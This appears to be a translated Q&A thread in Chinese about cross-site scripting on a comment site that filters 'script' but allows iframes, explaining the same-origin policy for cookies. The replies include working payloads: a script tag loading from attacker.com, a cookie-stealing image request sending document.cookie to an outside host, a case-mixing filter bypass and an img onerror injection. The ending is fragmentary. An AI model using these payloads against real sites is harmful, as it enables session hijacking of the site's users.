我正在尝试跨站脚本攻击。我有一个网站,允许用户插入评论并在网站上查看。该网站过滤了评论中的字符串"script",但允许使用iframes。我知道我可以嵌入一个指向我自己制作的网站的iframe,然后运行任何我想要的脚本。我的问题是:我的iframe脚本能否读取原始网站初始化的cookie?我尝试过alert(document.cookie),但它显示一个空白的警报。但是当客户端请求时,原始网站总是设置一个cookie。你知道我漏掉了什么吗?
所在页面必须来自同一域名。这受到同源策略的限制,该策略规定一个框架中的脚本只有在以下条件满足时才能访问另一个框架中的数据:它们使用相同的协议、完全相同的域名,并且在同一端口上运行。通过将document.domain设置为顶级域名,可以稍微放宽这种限制,从而允许子域之间通信。
你可以尝试输入<script src="http://attacker.com/myscript.js"></script>
,但这可能在较新的浏览器中被拦截。
然而,仅限制脚本是不足以防止跨站脚本攻击的。还有很多其他途径。请参见http://html5sec.org和http://ha.ckers.org/xss.html
你好,您的意思是将cookie作为XSS攻击的载荷吗?
实际上,您是想窃取cookie吗?
但是,如果该网站允许您插入评论并仅删除“script”,那么您可以使用多种替代方案来插入XSS,包括cookie窃取脚本。
请尝试以下方法:
javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
但是你想编码单词"script",你可以尝试使用
ScRiPt
或Unicode 73 63 72 69 70 74
Cookie遵循同源策略。因此,如果攻击网站和受害网站(允许iframe打开)具有相同的主机,则运行document.cookie时弹出窗口将包含cookie信息。 由于在您的情况下它们似乎属于不同的域,因此无法进行cookie窃取。 为了防止XSS攻击,更好的方法是使用核心jstl库的C:out标签。
<img src="asdf" onerror="alert(document.cookie)"/>
)。
parent
对象,例如parent.document.cookie
。 - Peter Olson